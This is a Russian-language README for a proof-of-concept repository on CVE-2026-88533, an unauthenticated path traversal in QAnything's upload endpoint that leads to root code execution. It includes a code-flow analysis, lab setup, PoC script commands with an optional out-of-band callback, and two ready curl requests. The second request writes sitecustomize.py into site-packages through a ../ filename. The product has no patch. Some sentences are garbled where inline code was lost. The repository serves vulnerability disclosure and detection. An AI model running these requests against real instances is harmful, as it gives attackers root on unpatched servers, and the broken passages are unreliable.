
PoC и воспроизведение в лабораторных условиях для CVE-2026-88533 — неаутентифицированная произвольная запись файлов, приводящая к RCE с правами root в QAnything через обход пути в эндпоинте загрузки.
CVE ID: CVE-2026-88533 (назначен MITRE, публикация записи ожидается)
Продукт: QAnything от netease-youdao — открытая платформа RAG / вопросов-ответов по базе знаний
Затронуто: v1.4.x по v2.0.0 (ветка по умолчанию qanything-v2, вплоть до финального коммита 65de104)
Исправленная версия: отсутствует — проект не поддерживается с 2025-03-12; единственное исправление санитизации (PR #483) находится в устаревшей ветке master и никогда не было влито в qanything-v2
Слабость: CWE-22 Path Traversal
Воздействие: Неаутентифицированное создание произвольных файлов → удалённое выполнение кода с uid=0(root)
Обнаружил: Yankui Li
Конечная точка загрузки файлов принимает контролируемое атакующим поле multipart и использует его в качестве пути назначения без санитизации разделителей пути. разворачивает обратно в , фильтрация полноширинных символов и усечение длины оставляют и абсолютные пути нетронутыми, а . Результат — записывает контролируемое атакующим содержимое куда угодно, куда может добраться процесс — по умолчанию внутри контейнера .
POST /api/local_doc_qa/upload_filesfilenameurllib.parse.unquote()%2f/../os.path.join(base, name)name является абсолютнымopen(file_location, "wb")rootПоскольку продукт нигде не требует аутентификации (user_id/user_info — обычные параметры
запроса), любой доступный по сети экземпляр принимает это анонимно.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Два свойства делают это надёжно эксплуатируемым:
../.%2e%2e%2f выживает, потому что unquote выполняется до любого фильтра.Контраст по усилению защиты внутри той же кодовой базы: конечная точка upload_faqs заменяет /
на _ в именах файлов. upload_files никогда не получила такой обработки, что делает её
единственным вектором записи.
Примечание: LocalFile.__init__ имеет проверку if not os.path.exists(file_location), поэтому
можно создавать только новые файлы — существующие файлы перезаписать нельзя. Поэтому
эксплуатация нацелена на новые файлы в исполняемых местах.
Официальный Docker-образ запускает Python-бэкенд от имени root. CPython автоматически
импортирует sitecustomize.py из site-packages при запуске интерпретатора — свежий файл,
помещённый в:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ относительно, или абсолютный путь) импортируется при следующем запуске бэкенда, выполняя
код атакующего с uid=0(root).
Почему
site-packages, а не каталог приложения? CPython запускаетsite.pyдо вставкиsys.path[0], поэтомуsitecustomize.pyрядом с входным скриптом не импортируется автоматически.site-packages— единственная надёжная зона сброса.
Другие векторы были проверены и исключены (задокументированы для полноты):
/etc/cron.d/ — каталог существует и принимает записи, но образ поставляется без демона cron, поэтому полезная нагрузка никогда не выполняется.Официальный образ + зафиксированный уязвимый исходный код (коммит 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
Скрипт PoC поставляется в этом репозитории (poc_qanything_cve_2026_88533.py) — каждый
элемент доказательств ниже был получен путём его запуска против лабораторного стека выше.
Клонируйте и воспроизведите точный вывод самостоятельно:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full один раз перезапускает целевой контейнер (задокументированное поведение; импорт
CPython срабатывает при запуске). Всё поставляется безопасным по умолчанию: никакого
обратного шелла, никакой разрушительной полезной нагрузки — демонстрационная полезная нагрузка
записывает файл-маркер, содержащий вывод id.
Вся атака — это два HTTP POST-запроса; вот на что должно срабатывать обнаружение
(multipart filename, несущий абсолютный путь или последовательности ..//%2f, — ключевой сигнал):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Все доказательства ниже — это фактический вывод терминала poc_qanything_cve_2026_88533.py
(скрипт в этом репозитории), запущенного против лабораторного стека, собранного из
docker-compose-lab.yaml. Ни один шаг не был подделан или смоделирован — скрипт завершается
с ненулевым кодом, если не проходит каждая проверка, поэтому вы можете проверить цепочку
от начала до конца самостоятельно.
Лабораторный стек — официальный образ + минимальные зависимости, все контейнеры в рабочем состоянии:

--mode check — подтверждён неаутентифицированный примитив записи: маркер был записан вне
каталога загрузки через multipart filename с абсолютным путём и прочитан обратно изнутри контейнера:

--mode full — после перезапуска контейнера CPython автоматически импортирует внедрённый
sitecustomize.py; маркер полезной нагрузки доказывает выполнение с uid=0(root):

Полная стенограмма терминала запуска --mode full, показанного выше, также включена дословно:
evidence/full-chain-run-2026-09-18.log —
6/6 проверок [OK], вердикт RCE CONFIRMED, маркер полезной нагрузки, доказывающий uid=0(root)
с отметкой времени (значения nonce/kb_id в логе генерируются случайно при каждом запуске,
поэтому ваш собственный запуск будет отличаться — это ожидаемо).
Скриншот страницы записи CVE будет добавлен после публикации записи.
| Дата | Событие |
|---|---|
| 2026-08-25 | Уязвимость обнаружена; примитив записи проверен на живом экземпляре (безвредный маркер + чтение обратно) |
| 2026-08-29 | Полная цепочка RCE воспроизведена в изолированной локальной лаборатории; отчёт написан; отправлен в MITRE (CNA-LR) через cveform |
| 2026-09-18 | CVE-2026-88533 назначен MITRE |
| TBD | Запись CVE опубликована; этот репозиторий и подробный разбор выпущены |
Этот материал публикуется для защитных исследований и образовательных целей. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. См. DISCLAIMER.md.